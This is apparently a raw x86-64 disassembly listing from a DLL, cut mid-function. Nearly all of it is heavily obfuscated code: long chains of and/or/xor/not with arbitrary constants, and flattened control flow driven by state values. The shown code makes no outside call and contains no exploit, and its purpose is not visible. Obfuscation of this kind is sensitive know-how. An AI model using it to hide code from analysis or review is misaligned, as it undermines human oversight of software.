xor r12b, 1
and dl, r12b
or r8b, dl
mov ecx, r15d
xor cl, 1
mov edx, r14d
xor dl, dil
and r14b, dl
and dl, dil
mov ebx, r14d
and bl, dl
xor dl, r14b
or dl, bl
mov ebx, edx
xor bl, 1
and r15b, cl
mov eax, r15d
and al, cl
xor r15b, cl
or r15b, al
mov eax, r15d
xor al, 1
and al, dl
and r15b, bl
or r15b, al
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
mov eax, r15d
and al, dl
xor dl, r15b
or dl, al
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r9d, ebx
xor r9b, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, ebx
and cl, r9b
mov r10d, ecx
and r10b, bl
xor cl, bl
or cl, r10b
mov r10d, ecx
xor r10b, 1
and r10b, dl
and cl, al
or cl, r10b
xor al, r9b
or dl, bl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, ecx
mov ebx, r8d
and cl, r8b
xor r8b, 1
and al, r8b
and bl, dl
or bl, al
mov eax, ebx
xor al, r8b
and al, bl
and r8b, dl
or cl, r8b
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor cl, 1
and cl, al
xor al, 1
and bl, al
or cl, bl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, 1
mov eax, 0xa42bca53
mov edx, 0xfcadb58b
cmovne eax, edx
test cl, 1
cmove eax, edx
test bl, 1
mov ecx, 0xa42bca53
cmove eax, ecx
jmp 0x180001050
mov eax, dword [0x180087b94]
lea r11d, [rax - 1]
imul r11d, eax
mov edx, r11d
not edx
mov eax, edx
and eax, 0x7c770ffa
mov ecx, r11d
and ecx, 0x8388f005
or ecx, eax
xor ecx, 0x8388f005
mov r14d, edx
mov edi, edx
and r14d, r11d
mov eax, ecx
and eax, r14d
xor ecx, r14d
or ecx, eax
mov eax, ecx
not eax
and eax, 0x3bf8f636
and ecx, 0xc40709c9
or ecx, eax
mov edx, ecx
xor edx, 0xc4030849
xor ecx, 0x1348c626
and ecx, 0x134cc7a6
and edx, 0xecb33859
or edx, ecx
mov ecx, edx
xor ecx, 0x13440420
xor edx, 0xecb33859
mov eax, r11d
and eax, 0x2a0716f7
mov ebp, edi
and ebp, 0xd5f8e908
or ebp, eax
xor ebp, 0xd5f8e908
or ebp, edi
mov eax, ebp
not eax
mov ebx, edx
xor ebx, ebp
and ebx, edx
and ecx, 0x5f463471
and edx, 0xa0b9cb8e
or edx, ecx
and ebp, 0x5f463471
and eax, 0xa0b9cb8e
or eax, ebp
xor eax, edx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x10c431b4
and ecx, 0xef3bce4b
or ecx, ebx
or eax, ebp
and ebp, 0x10c431b4
and edx, 0xef3bce4b
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0xb14951be
mov ebp, edx
not ebp
and ecx, 0xf6ee4a2d
and eax, 0x911b5d2
or eax, ecx
mov ecx, eax
xor ecx, 0x3800a460
xor eax, 0x47a71b93
mov ebx, edx
and ebx, 0x865a491f
and ebp, 0x48a4a640
or ebp, ebx
or edx, eax
and eax, 0x865a491f
and ecx, 0x79a5b6e0
or ecx, eax
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x30b00567
and eax, edx
and edx, 0xcf4ffa98
or edx, ecx
mov ecx, edx
xor ecx, 0x4e47c808
xor edx, 0x30b00567
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0xb1a832f0
and ecx, 0x4e57cd0f
or ecx, ebx
or edx, ebp
and ebp, 0xb1a832f0
and eax, 0x4e57cd0f
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov r8d, edx
not r8d
and edx, 0x711a752e
and r8d, 0x8ee58ad1
or r8d, edx
mov r9d, r8d
xor r9d, 0x8ee58ad1
xor r8d, 0x711a752e
mov eax, edi
and eax, r14d
xor r14d, edi
mov r13d, edi
mov dword [rsp + 0x44], edi
or r14d, eax
mov ebp, r14d
xor ebp, 0x4eb6ae41
and ebp, r14d
mov eax, r14d
not eax
mov ebx, eax
mov r10d, eax
mov dword [rsp + 0x38], eax
and ebx, 0xb14951be
mov eax, r14d
and eax, 0x4eb6ae41
or eax, ebx
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0xf3a23a53
and eax, 0xc5dc5ac
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0x4db6e440
and eax, 0xb2491bbf
or eax, ebp
mov esi, eax
xor esi, 0x41eb21ec
mov ebp, eax
xor ebp, 0xbe14de13
mov edi, ebp
and edi, 0xbf7c53d5
mov ebx, esi
xor eax, 0xc644e0f3
and eax, esi
and esi, 0x4083ac2a
or esi, edi
mov edi, esi
xor edi, 0x400
mov ecx, r8d
and ecx, 0xdcb3b9eb
mov edx, r9d
and edx, 0x234c4614
or edx, ecx
xor esi, 0x9c3011c1
and esi, 0xdcb3b9eb
and edi, 0x234c4614
or edi, esi
xor edi, edx
not edi
or edi, r8d
mov ecx, r8d
and ecx, 0x81898116
and r9d, 0x6264009
or r9d, ecx
mov ecx, r9d
xor ecx, 0x2200008
xor r9d, 0xc9919320
or r8d, 0x87afc11f
mov edx, r8d
not edx
and ebp, 0x44b4794f
and ebx, 0xbb4b86b0
or ebx, ebp
mov esi, ebx
xor esi, 0xbb4b86b0
xor ebx, 0xc31bb850
and ebx, esi
and r9d, 0xcd97d321
and ecx, 0x228001e
or ecx, r9d
and r8d, 0xcd97d321
and edx, 0x30402cc0
or edx, r8d
xor edx, ecx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, edx
not ecx
and ecx, eax
not eax
and eax, edx
or eax, ecx
mov edx, eax
and eax, edi
not edi
not edx
mov ecx, edi
xor ecx, edx
and ecx, edi
and edx, edi
or edx, eax
mov eax, ecx
not eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x24fa4ebb
and ecx, 0xdb05b144
or ecx, ebx
or eax, ebp
and ebp, 0x24fa4ebb
and edx, 0xdb05b144
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ebp, eax
not ebp
mov ecx, eax
mov edx, ebp
and edx, 0xf320683c
and eax, 0xcdf97c3
or eax, edx
not eax
or eax, ebp
and ebp, 0xa77c86a3
and ecx, 0x5883795c
or ecx, ebp
mov edx, ecx
xor edx, 0x5882705c
xor ecx, 0x25500401
and ecx, 0x25510d01
and edx, 0xdaaef2fe
or edx, ecx
mov ecx, edx
xor ecx, 0x21510400
xor edx, 0x1aa242b4
and edx, 0x1ea24bb5
and ecx, 0xe15db44a
or ecx, edx
mov edx, ecx
xor edx, 0xc1000000
xor ecx, 0x204820
and ecx, 0x20206828
and edx, 0xd3000014
or edx, ecx
mov r12d, edx
xor r12d, 0xd3000014
mov r8d, edx
xor r8d, 0x2cffffeb
mov edi, eax
not edi
mov ebx, eax
and ebx, 0x86748b9f
xor eax, 0x30c88645
and eax, edi
and edi, 0x798b7460
or edi, ebx
mov r9d, edi
xor r9d, 0x79803440
mov ebp, edx
xor ebp, 0x1c3779ae
and ebp, r8d
xor edx, 0x1020682c
and edx, r12d
xor edi, 0x86748b9f
mov ebx, edi
or ebx, 0x30c88645
mov esi, ebx
not esi
mov r15d, ebp
and r15d, edx
xor edx, ebp
or edx, r15d
mov ebp, eax
not ebp
mov r15d, ebx
and r15d, 0xd95c6979
and esi, 0x6231082
or esi, r15d
or ebx, ebp
and ebp, 0xd95c6979
and eax, 0x26a39686
or eax, ebp
xor eax, esi
not ebx
or ebx, eax
mov eax, edx
not eax
and eax, 0xf577aa4a
and edx, 0xa0051b4
or edx, eax
mov eax, ebx
not eax
and eax, 0xf577aa4a
and ebx, 0xa8855b5
or ebx, eax
xor ebx, edx
mov eax, r12d
and eax, 0x80204038
and r8d, 0x7bd43f44
or r8d, eax
or r12d, edi
and edi, 0x842bc0bb
and r9d, 0x7bd43f44
or r9d, edi
xor r9d, r8d
not r12d
or r12d, r9d
not r12d
mov eax, ebx
and eax, r12d
xor r12d, ebx
or r12d, eax
mov eax, r12d
not eax
and eax, 0xbd96c67d
and r12d, 0x42693982
or r12d, eax
mov eax, r12d
not eax
mov edx, eax
and edx, 0xe0843294
mov ecx, r12d
and ecx, 0x420c148
or ecx, edx
xor ecx, 0x420c148
mov edx, r12d
and edx, 0x1b5b0c23
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1b5b0c23
and edx, 0xe4a4f3dc
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x34e3572b
and edx, 0xcb1ca8d4
or edx, ecx
mov ecx, edx
xor ecx, 0x9040054
and ecx, 0x19245655
xor edx, 0xd238fe81
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x11faef56
and edx, 0xee0510a9
or edx, ecx
mov ecx, edx
xor ecx, 0xee0510a9
and eax, 0xe6dba9aa
xor r12d, 0x19245655
or r12d, eax
mov ebp, r12d
not ebp
mov eax, ecx
xor eax, r12d
and eax, ecx
xor edx, 0x10900e44
and edx, 0xb0950e44
and ecx, 0x4f6af1bb
or ecx, edx
and r12d, 0xb0950e44
and ebp, 0x4f6af1bb
or ebp, r12d
xor ebp, ecx
mov ecx, eax
and ecx, ebp
xor ebp, eax
or ebp, ecx
mov eax, ebp
not eax
and eax, 0x19245655
and ebp, 0xe6dba9aa
or ebp, eax
mov r15d, ebp
not r15d
mov eax, r15d
and eax, 0x5e66bfca
mov ecx, ebp
and ecx, 0xa1994035
or ecx, eax
mov eax, ecx
not eax
and eax, 0xa1994035
and ecx, 0x5e66bfca
or ecx, eax
mov r8d, ecx
mov r9d, ecx
mov edi, ecx
xor edi, 0x14969e5b
and edi, ecx
not ecx
mov esi, ecx
and esi, 0xa89c4a81
and r8d, 0x5763b57e
or r8d, esi
not r8d
or r8d, ecx
and ebp, 0x3506e678
mov edx, r15d
and edx, 0xcaf91987
or edx, ebp
xor edx, 0x62655306
and r15d, 0x5763b57e
or r15d, edx
mov edx, r15d
not edx
and edx, r8d
not r8d
mov ebp, r8d
xor ebp, r15d
and ebp, r8d
and r15d, r8d
or r15d, edx
mov ebx, ebp
not ebx
mov edx, r15d
not edx
mov eax, ebx
and eax, 0x5eaca98e
and ebp, 0xa1535671
or ebp, eax
or ebx, edx
and edx, 0x5eaca98e
and r15d, 0xa1535671
or r15d, edx
xor r15d, ebp
not ebx
or ebx, r15d
mov edx, ebx
xor edx, 0x5763b57f
and edx, ebx
not ebx
and ebx, 0x5763b57f
mov ebp, edx
and ebp, ebx
xor ebx, edx
or ebx, ebp
and ecx, 0xc078c0f7
and r9d, 0x3f873f08
or r9d, ecx
mov edx, r9d
xor edx, 0x3f873f08
xor r9d, 0xc078c0f7
mov ecx, r9d
or ecx, 0xeb6961a4
mov ebp, ecx
not ebp
mov eax, edi
not eax
mov esi, ecx
and esi, 0x8cbb2ebb
and ebp, 0x10049040
or ebp, esi
or ecx, eax
and eax, 0x8cbb2ebb
and edi, 0x7344d144
or edi, eax
xor edi, ebp
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x88d2509f
and ecx, 0x772daf60
or ecx, eax
mov eax, ecx
xor eax, 0x43b8313a
and r9d, 0x1fc3a031
mov ebp, edx
and ebp, 0xe03c5fce
or ebp, r9d
xor ebp, 0x1fc3a030
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xa954518b
and edx, 0x56abae74
or edx, ebp
mov ebp, edx
xor ebp, 0x46a8a870
xor edx, 0xa954518b
xor ecx, 0x9c44cec5
mov edi, ecx
and edi, 0xb0034685
and eax, 0x4ffcb97a
or eax, edi
or ecx, edx
and edx, 0xb0034685
and ebp, 0x4ffcb97a
or ebp, edx
xor ebp, eax
not ecx
or ecx, ebp
mov eax, ecx
mov edx, ecx
xor edx, 0x752526cf
and edx, ecx
not ecx
and ecx, 0x24200647
and eax, 0x51052088
or eax, ecx
xor eax, 0x51052088
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x13cadfeb
and edx, 0xec352014
or edx, eax
mov eax, edx
xor eax, 0x100683
xor edx, 0x66e09820
and edx, 0xffe09878
and eax, 0x1f6787
or eax, edx
mov edx, eax
xor edx, 0xf4686
xor eax, 0x46209838
and eax, 0x4630b939
and edx, 0xb9cf46c6
or edx, eax
mov ecx, edx
xor ecx, 0xb1454484
xor edx, 0x4630b939
mov eax, ebx
xor eax, edx
and eax, ebx
mov esi, ebx
not esi
and esi, 0x4a8a1a42
and ebx, 0xb575e5bd
or ebx, esi
and edx, 0x4a8a1a42
and ecx, 0xb575e5bd
or ecx, edx
xor ecx, ebx
mov ebx, eax
not ebx
mov edx, ecx
not edx
mov ebp, ebx
and ebp, 0xc788892b
and eax, 0x387776d4
or eax, ebp
or ebx, edx
and edx, 0xc788892b
and ecx, 0x387776d4
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov edx, ebx
not edx
mov eax, edx
and eax, 0x41289f91
mov ebp, ebx
and ebp, 0xbed7606e
or ebp, eax
mov ecx, ebp
xor ecx, 0x8916068
xor ebp, 0x1201e81
and ebp, 0xb7661e87
and ecx, 0x4899e178
or ecx, ebp
mov eax, ecx
xor eax, 0x91461200
xor ecx, 0x4899e178
and eax, 0x99d6b270
mov ebp, ecx
and ebp, 0x66294d8f
or ebp, eax
xor ebp, 0x7de0aa
and ecx, 0x99ab52da
or ecx, ebp
mov eax, ecx
not eax
and eax, 0x10dd0e54
and ecx, 0xef22f1ab
or ecx, eax
mov edi, ecx
xor edi, 0x4022302b
xor ecx, 0x10dd0e54
and edx, 0x6654ad25
xor ebx, 0x99ab52da
or ebx, edx
mov eax, ebx
not eax
mov edx, ecx
or edx, ebx
mov ebp, edx
not ebp
and ecx, 0xafc5c180
and edi, 0x503a3e7f
or edi, ecx
and ebx, 0xafc5c180
and eax, 0x503a3e7f
or eax, ebx
xor eax, edi
mov ecx, eax
not ecx
mov ebx, edx
and ebx, 0x6b2f3719
and ebp, 0x94d0c8e6
or ebp, ebx
or edx, ecx
and ecx, 0x6b2f3719
and eax, 0x94d0c8e6
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
or eax, 0x89f4b46
mov ebp, eax
not ebp
or edx, 0xf5600038
and edx, 0xfd62417a
and ecx, 0x9d0a04
or ecx, edx
and eax, 0xfd62417a
and ebp, 0x200b481
or ebp, eax
xor ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x9134199c
and ebp, 0x6ecbe663
or ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x75bdc66
mov eax, ebp
and eax, 0xf8a42399
or eax, edx
mov r12d, eax
xor r12d, 0x505c04
xor eax, 0x28a02310
and eax, 0x2faba372
and r12d, 0xd0545c8d
or r12d, eax
mov eax, r12d
xor eax, 0x80004088
xor r12d, 0x2faba372
mov edx, r12d
and edx, 0x5076bc75
and eax, 0xaf89438a
or eax, edx
or r12d, ebp
and ebp, 0x5076bc75
and ecx, 0xaf89438a
or ecx, ebp
xor ecx, eax
not r12d
or r12d, ecx
mov eax, r12d
not eax
and eax, 0x2090d407
and r12d, 0xdf6f2bf8
or r12d, eax
mov eax, r10d
and eax, 0xed79f82
mov ecx, r14d
xor ecx, 0xf128607d
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9aa8bb6f
and ecx, 0x65574490
or ecx, eax
mov ebx, ecx
xor ebx, 0x65574490
mov ebp, r13d
and ebp, 0xf128607d
mov eax, r11d
xor eax, 0xed79f82
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0x850d30cc
and eax, 0x7af2cf33
or eax, ebp
mov ebp, eax
xor ebp, 0x7af2cf33
xor eax, 0x850d30cc
mov edx, ebx
xor edx, eax
and edx, ebx
xor ecx, 0x9aa8bb6f
and ecx, ebp
and eax, ebx
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
mov r13d, eax
xor r13d, 0xb5b0b13b
and r13d, eax
not eax
and eax, 0x81a00139
and ecx, 0x3410b002
or ecx, eax
xor ecx, 0x3410b002
mov eax, ecx
and eax, r13d
xor r13d, ecx
or r13d, eax
mov eax, r13d
not eax
and eax, 0xbb672eb9
and r13d, 0x4498d146
or r13d, eax
mov r8d, r13d
not r8d
mov eax, r8d
and eax, 0xe996a467
mov edx, r13d
and edx, 0x16695b98
or edx, eax
xor edx, 0xff94a6e
mov ecx, r13d
and ecx, 0xe66fee09
or ecx, edx
mov eax, ecx
not eax
and eax, 0x79da5e06
and ecx, 0x8625a1f9
or ecx, eax
mov edx, ecx
xor edx, 0x8625a1f9
mov eax, r8d
and eax, 0xa2a24f6b
mov ebp, r13d
and ebp, 0x5d5db094
or ebp, eax
xor ebp, 0xbb325e9d
mov esi, ebp
xor esi, r8d
and esi, ebp
mov edi, ecx
xor edi, 0x79da5e06
mov r9d, esi
not r9d
mov eax, r9d
and eax, 0xbeb7c38e
and esi, 0x41483c71
or esi, eax
mov ebp, esi
xor ecx, 0xf44172e5
and ecx, edi
mov eax, edx
and eax, 0x8d9b2ce3
xor esi, 0xbeb7c38e
mov ebx, ecx
and ebx, eax
xor eax, ecx
mov ecx, esi
or ecx, 0x8d9b2ce3
or eax, ebx
mov r15d, ecx
not r15d
or r9d, 0x7264d31c
and ecx, 0x432d1494
and r15d, 0x3040c308
or r15d, ecx
mov ebx, r9d
not ebx
and r9d, 0x432d1494
and ebx, 0x8c922863
or ebx, r9d
mov r9d, r12d
xor r9d, 0xdf6f2bf8
xor ebx, r15d
mov ecx, eax
not ecx
and ecx, 0x3b19287f
and eax, 0xc4e6d780
or eax, ecx
mov ecx, ebx
not ecx
and ecx, 0x3b19287f
and ebx, 0xc4e6d780
or ebx, ecx
mov r15d, r12d
xor r15d, 0x2090d407
xor ebp, 0x1410
xor ebx, eax
mov eax, edx
and eax, 0x5fc86be5
and edi, 0xa037941a
or edi, eax
or edx, esi
and esi, 0x5fc86be5
and ebp, 0xa037941a
or ebp, esi
xor ebp, edi
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x11fd5a40
and edx, 0xee02a5bf
or edx, eax
mov eax, edx
xor eax, 0x6a008092
mov ecx, ebx
not ecx
xor edx, 0x11fd5a40
mov esi, ecx
and esi, 0x85576f2d
and ebx, 0x7aa890d2
or ebx, esi
or ecx, edx
and edx, 0x85576f2d
and eax, 0x7aa890d2
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov esi, ecx
xor esi, 0x8ba94532
and esi, ecx
not ecx
and ecx, 0x8ba94532
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, esi
not eax
and eax, 0x6dc6ab3a
and esi, 0x923954c5
or esi, eax
mov ecx, r13d
or ecx, 0xfffffffe
and r13d, 1
and r8d, 0xfffffffe
or r8d, r13d
mov eax, r8d
not eax
mov edx, ecx
and edx, 0xcdd169af
or ecx, eax
and eax, 0xcdd169af
and r8d, 0x322e9650
or r8d, eax
xor r8d, edx
not ecx
or ecx, r8d
mov eax, ecx
not eax
and ecx, 0xb15bb6a3
and eax, 0x4ea4495c
or eax, ecx
mov ecx, eax
xor ecx, 0x1493002
xor eax, 0x4ea4495c
mov edx, eax
and edx, 0xfe968ee5
and ecx, 0x169711a
or ecx, edx
xor ecx, 0xfe968ee5
xor eax, ecx
and eax, ecx
mov edi, esi
not edi
mov ecx, eax
xor ecx, 0x3dd08ea0
and ecx, eax
not eax
or esi, 0xc22f715f
mov ebx, esi
not ebx
mov r8d, eax
mov edx, edi
and edx, eax
xor eax, edi
or edi, 0x3dd08ea0
mov ebp, edi
not ebp
and r8d, 0x3dd08ea0
and esi, 0x3ac32bf0
and ebx, 0x5108400
or ebx, esi
and edi, 0x3ac32bf0
and ebp, 0xc02c500f
or ebp, edi
xor ebp, ebx
mov esi, r8d
and esi, ecx
xor ecx, r8d
or ecx, esi
mov ebx, ebp
not ebx
and ebx, ecx
not ecx
and ecx, ebp
or ecx, ebx
or eax, edx
not eax
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0x922cef0f
mov edx, eax
and edx, 0x6dd310f0
or edx, ecx
mov ecx, edx
xor ecx, 0x820000
xor edx, 0x82000a0a
mov ebx, eax
xor ebx, 0x83820a8a
and ebx, eax
or edx, 0x7c7df575
mov edi, ebx
not edi
mov esi, edx
and esi, 0x3b699284
and ecx, 0x8082080a
or ecx, esi
or edx, edi
and edi, 0x3b699284
and ebx, 0xc4966d7b
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xdc83e661
and edx, 0x237c199e
or edx, ecx
mov ecx, edx
xor ecx, 0x20c41204
xor edx, 0x5e004060
and edx, 0xde3a4170
and ecx, 0x21c5be8f
or ecx, edx
mov edx, ecx
xor edx, 0x21c5be8f
xor ecx, 0x4e300020
and ecx, 0x4ff59c2f
mov ebx, edx
and ebx, 0xb00a63d0
or ebx, ecx
xor ebx, 0x76ce0e42
and edx, 0x393b926d
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x2f9219e3
and edx, 0xd06de61c
or edx, ecx
mov ecx, edx
xor ecx, 0xd06de61c
xor edx, 0x2f9219e3
and ebp, 0xfba9b01e
and eax, 0x4564fe1
or eax, ebp
mov ebp, eax
xor ebp, 0x4444d80
and ebp, 0xc6c46d92
xor eax, 0xc2922273
or eax, ebp
mov ebp, eax
not ebp
and ebp, edx
or edx, eax
mov ebx, edx
not ebx
and eax, ecx
or eax, ebp
mov ecx, eax
not ecx
mov ebp, edx
and ebp, 0x8f527b78
and ebx, 0x70ad8487
or ebx, ebp
or edx, ecx
and ecx, 0x8f527b78
and eax, 0x70ad8487
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xc43b2b2c
and edx, 0x3bc4d4d3
or edx, eax
mov eax, edx
not eax
and eax, 0x62b4ca16
and edx, 0x9d4b35e9
or edx, eax
mov ebp, edx
xor ebp, 0x9fb47357
mov esi, edx
xor esi, 0x604b8ca8
xor edx, 0x80a1b169
and edx, ebp
mov eax, ebp
or eax, 0xe0ea3dc1
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x4ced476a
mov ecx, esi
and ecx, 0x13108014
or ecx, edi
or eax, ebx
and ebx, 0x4ced476a
and edx, 0xb312b895
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1f15c23e
and eax, 0xe0ea3dc1
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfc8a892e
and eax, 0x37576d1
or eax, edx
and ebp, 0xfc8a892e
and esi, 0x37576d1
or esi, ebp
xor esi, eax
not esi
or esi, ecx
mov edx, esi
not edx
mov eax, esi
and eax, 0xe0060208
mov ecx, edx
and ecx, 0x1512021
or ecx, eax
xor ecx, 0x1512021
mov eax, esi
xor eax, 0x1ea8ddd6
and eax, edx
mov ebp, ecx
and ebp, eax
xor eax, ecx
or eax, ebp
mov ecx, eax
not ecx
and ecx, 0x1ea8ddd6
and eax, 0xe1572229
or eax, ecx
xor r12d, 0x8bdbd455
and r12d, r9d
mov ecx, eax
not ecx
and ecx, 0x54b4ffad
and eax, 0xab4b0052
or eax, ecx
mov ecx, r9d
or ecx, 0xab4b0052
mov ebp, r12d
not ebp
mov edi, ecx
and edi, 0xb090126
mov r13d, r15d
and r13d, 0x54b4fe89
or r13d, edi
or ecx, ebp
and ebp, 0xb090126
and r12d, 0xf4f6fed9
or r12d, ebp
mov r8d, esi
mov edi, esi
and edi, edx
mov ebx, edx
and ebx, 0x5daafa09
and esi, 0xa25505f6
or esi, ebx
mov ebx, edi
not ebx
mov ebp, edx
or edx, ebx
and ebx, 0x5daafa09
and edi, 0xa25505f6
or edi, ebx
xor edi, esi
mov ebx, r9d
not edx
or edx, edi
mov esi, edx
not esi
and esi, 0x49f5dad
and edx, 0xfb60a252
or edx, esi
mov esi, edx
xor esi, 0xfb60a252
and esi, r15d
xor edx, 0x49f5dad
and edx, r9d
or edx, esi
mov esi, r15d
mov edi, r9d
not edx
or edx, r15d
xor r12d, r13d
not ecx
or ecx, r12d
mov r9d, ecx
not r9d
and r9d, eax
not eax
and eax, ecx
or eax, r9d
mov r9d, eax
not r9d
mov ecx, r9d
and ecx, 0x7becf7e8
and eax, 0x84130817
or eax, ecx
and ebx, 0x7becf7e8
and esi, 0x84130817
or esi, ebx
xor esi, eax
xor r9d, esi
and r9d, esi
and r8d, 0xaf0a8b4
and ebp, 0xf50f574b
or ebp, r8d
xor ebp, 0xf50f574b
and edi, 0x446945ec
and r15d, 0xbb96ba13
or r15d, edi
xor r15d, 0xbb96ba13
mov eax, ebp
and eax, r15d
xor r15d, ebp
or r15d, eax
mov eax, r15d
not eax
and eax, 0x7578da4f
and r15d, 0x8a8725b0
or r15d, eax
mov ecx, r15d
xor ecx, 0x8a8725b0
mov r8d, edx
not r8d
mov eax, r15d
xor eax, 0x51505007
and eax, 0xdbd175b7
xor r15d, 0x7945e04c
and r15d, ecx
and ecx, 0x242e8a48
or ecx, eax
mov ebx, ecx
xor ebx, 0x242e8a48
mov edi, ecx
xor edi, 0x2813b04b
and edi, ebx
mov esi, edx
xor esi, 0xc3d3a03
and esi, edx
mov eax, r8d
and eax, 0xc3d3a03
mov ebp, edi
and ebp, r15d
xor r15d, edi
or r15d, ebp
mov edi, esi
and edi, eax
xor eax, esi
or eax, edi
mov esi, r15d
not esi
and esi, eax
not eax
and eax, r15d
or eax, esi
xor ecx, 0xdbd175b7
mov esi, ecx
and esi, 0xc8d0e23a
and ebx, 0x372f1dc5
or ebx, esi
or ecx, r8d
and r8d, 0xc8d0e23a
and edx, 0x372f1dc5
or edx, r8d
xor edx, ebx
not ecx
or ecx, edx
not ecx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov ebp, r9d
not ebp
mov eax, ebp
and eax, r9d
mov edx, eax
not edx
mov ebx, r9d
and ebx, 0xfb1ce3d0
mov esi, ebp
and esi, 0x4e31c2f
or esi, ebx
mov r8d, r9d
or r8d, edx
and edx, 0xfb1ce3d0
and eax, 0x4e31c2f
or eax, edx
xor eax, esi
not r8d
or r8d, eax
mov r12d, ecx
not r12d
mov eax, ecx
xor eax, 0xaa77ddc6
and eax, ecx
mov edi, ecx
or edi, 0x55882239
mov edx, eax
not edx
mov esi, edi
and esi, 0xa729da88
mov ebx, r12d
and ebx, 0x8560546
or ebx, esi
or edi, edx
and edx, 0xa729da88
and eax, 0x58d62577
or eax, edx
xor eax, ebx
not edi
or edi, eax
mov eax, edi
not eax
and eax, 0x17058c2e
and edi, 0xe8fa73d1
or edi, eax
mov r15d, edi
mov r10d, r8d
xor edi, 0xbd7251e8
mov r13d, edi
mov edx, edi
mov esi, r8d
xor esi, edi
and esi, r8d
and edi, r8d
not r8d
mov ebx, r8d
and ebx, 0x35258155
and r10d, 0xcada7eaa
or r10d, ebx
mov ebx, r10d
xor ebx, 0xcada7eaa
xor r10d, 0x14240154
and r10d, 0x94f41d5e
mov eax, ebx
and eax, 0x6b0be2a1
or eax, r10d
xor eax, 0xfa24f121
and ebx, 0x6ed0ec7f
or ebx, eax
mov eax, ebx
not eax
and eax, 0x7887a95a
and ebx, 0x877856a5
or ebx, eax
mov eax, ebp
and eax, 0x47d5f1d1
and r9d, 0xb82a0e2e
or r9d, eax
xor r9d, 0xd6fae251
xor ebp, r9d
and ebp, r9d
mov eax, dword [0x180087b90]
mov dword [rsp + 0x34], eax
xor r15d, 0x428dae17
and r8d, r15d
and r15d, 0x53f2fdc8
and r13d, 0xac0d0237
or r13d, r15d
mov r10d, ebx
xor r10d, 0x877856a5
xor ebx, 0x5802a052
xor r13d, 0x3d2211b7
and edx, 0x6ed0ec7f
or edx, r13d
mov r9d, edx
not r9d
and r9d, 0xf9fbb96a
and edx, 0x6044695
or edx, r9d
and r12d, 0x912f1380
xor ecx, 0x6ed0ec7f
or ecx, r12d
mov r9d, ebp
not r9d
mov eax, r10d
xor eax, r9d
and eax, r10d
and ebx, 0x5e12f677
and r10d, 0xa1ed0988
or r10d, ebx
mov r15d, edx
xor r15d, 0x2000615
xor edx, 0xf9fbb96a
and r9d, 0x5e12f677
and ebp, 0xa1ed0988
or ebp, r9d
xor ebp, r10d
mov r10d, eax
not r10d
mov r9d, r10d
and r9d, 0xa30d0bd6
and eax, 0x5cf2f429
or eax, r9d
mov r9d, ebp
not r9d
or r10d, r9d
and r9d, 0xa30d0bd6
and ebp, 0x5cf2f429
or ebp, r9d
mov ebx, ecx
not ebx
xor ebp, eax
not r10d
or r10d, ebp
mov ebp, edx
or ebp, ecx
mov eax, ebp
not eax
and edx, 0x4d77980
and r15d, 0xfb28867f
or r15d, edx
and ecx, 0x4d77980
and ebx, 0xfb28867f
or ebx, ecx
xor ebx, r15d
